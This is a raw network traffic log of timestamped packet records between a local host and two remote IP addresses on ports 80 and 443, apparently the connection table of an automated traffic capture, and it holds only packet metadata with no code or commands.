Dec 18, 2024 21:30:27.066466093 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.066696882 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.067390919 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.067449093 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.067517996 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.067640066 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.068487883 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.068541050 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.068584919 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.068620920 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.069494963 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.069542885 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.069725037 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.069772005 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.070501089 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.070724964 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.070765018 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.071567059 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.071816921 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.071856976 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.072643995 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.072706938 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.072812080 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.073335886 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.073692083 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.073753119 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.073857069 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.073935986 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.074767113 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.074954987 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.075011015 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.075140953 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.075804949 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.075853109 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.075979948 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.076318026 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.076896906 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.076986074 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.077054977 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.077127934 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.077945948 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.077986956 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.078128099 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.078181028 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.079004049 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.079046011 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.079189062 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.079247952 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.080049992 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.080102921 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.080234051 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.080285072 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.081114054 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.081187963 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.081260920 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.081307888 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.082180023 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.082253933 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.082329988 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.082370043 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.101425886 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.101516008 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.101547003 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.101562977 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.101602077 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.102134943 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.102150917 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.102180004 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.102202892 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.102840900 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.102855921 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.102890968 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.102911949 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.103566885 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.103583097 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.103616953 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.103650093 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.104048967 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.104254961 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.104269981 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.104315042 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.104985952 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.105014086 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.105031013 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.105038881 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.105063915 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.105668068 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.105683088 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.105726957 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.106378078 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.106393099 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.106439114 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.107119083 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.107132912 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.107172012 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.107192039 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.107795000 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.107810974 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.107825994 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.107848883 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.107867002 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.108465910 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.108480930 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.108515978 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.108549118 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.109194040 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.109210014 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.109251976 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.109276056 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.109890938 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.109905958 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.109935999 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.109961987 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.110660076 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.110676050 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.110701084 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.110724926 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.111284971 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.111299992 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.111323118 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.111342907 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.111383915 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.112000942 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.112016916 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.112045050 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.112066031 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.112720013 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.112745047 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.112770081 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.112791061 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.113410950 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.113426924 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.113471031 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.113486052 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.114065886 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.114101887 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.114118099 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.114140034 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.114777088 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.114809990 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.114824057 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.114824057 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.114850998 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.114876986 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.115540028 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.115556002 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.115593910 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.115612984 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.116251945 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.116267920 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.116295099 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.116317034 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.117012024 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.117027044 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.117054939 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.117082119 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.117599964 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.117635012 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.117649078 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.117655039 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.117677927 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.117697001 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.118357897 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.118374109 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.118417978 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.119024992 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.119040012 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.119071007 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.119091988 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.133783102 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.137792110 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.138219118 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.138246059 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.145947933 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.146213055 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.146230936 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.154103994 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.154217005 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.154232979 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.170222998 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.170372009 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.170464039 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.170483112 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.174335003 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.178179026 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.186425924 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.186537027 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.186634064 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.186654091 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.190274954 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.194668055 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.202714920 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.203605890 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.203629017 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.208744049 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.209520102 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.209538937 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.214750051 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.216093063 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.216109037 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.226556063 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.229152918 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.229167938 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.250437975 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.250520945 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.250551939 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.250600100 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.250670910 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.250724077 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.250941038 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.250993967 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.251761913 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.251931906 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.251986980 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.252737999 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.252933025 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.252988100 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.253865004 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.253921986 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.253982067 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.254211903 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.254827976 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.254880905 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.255016088 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.255929947 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.255991936 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.256067038 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.257014990 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.257069111 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.257134914 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.257179976 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.258027077 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.258193016 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.258198977 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.258236885 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.259087086 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.259139061 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.259254932 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.259300947 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.260133028 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.260183096 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.260303020 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.260351896 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.261282921 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.261352062 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.261449099 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.261492014 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.262253046 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.262490988 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.262551069 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.263329983 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.263473988 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.263519049 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.264419079 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.264466047 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.264538050 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.265413046 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.265456915 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.265578985 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.266182899 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.266534090 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.266751051 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.266792059 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.267573118 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.267756939 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.267802000 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.268605947 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.268800020 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.268845081 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.269670010 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.269714117 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.269836903 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.270189047 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.270711899 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.270755053 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.270911932 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.270951986 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.271822929 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.271991014 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.272041082 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.272933960 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.273121119 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.273169041 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.273907900 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.273952961 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.274116993 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.274188995 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.274964094 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.275006056 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.275141001 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.275185108 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.275895119 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.276108980 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.276205063 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.276251078 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.277074099 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.277404070 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.277457952 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.278327942 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.278448105 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.278497934 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.279206038 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.279253960 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.279356003 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.280262947 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.280316114 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.280390978 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.281343937 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.281389952 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.281533003 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.281572104 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.282368898 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.282540083 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.282588005 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.283432961 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.283616066 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.283658981 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.284447908 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.284488916 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.284655094 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.285599947 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.285650969 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.285809994 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.286204100 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.286623955 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.286815882 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.286972046 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.287805080 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.287955046 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.288009882 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.288762093 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.288856983 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.288922071 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.289850950 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.289901972 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.290074110 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.290193081 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.290855885 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.291059017 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.291101933 CET	49808	80	192.168.2.5	31.41.244.11
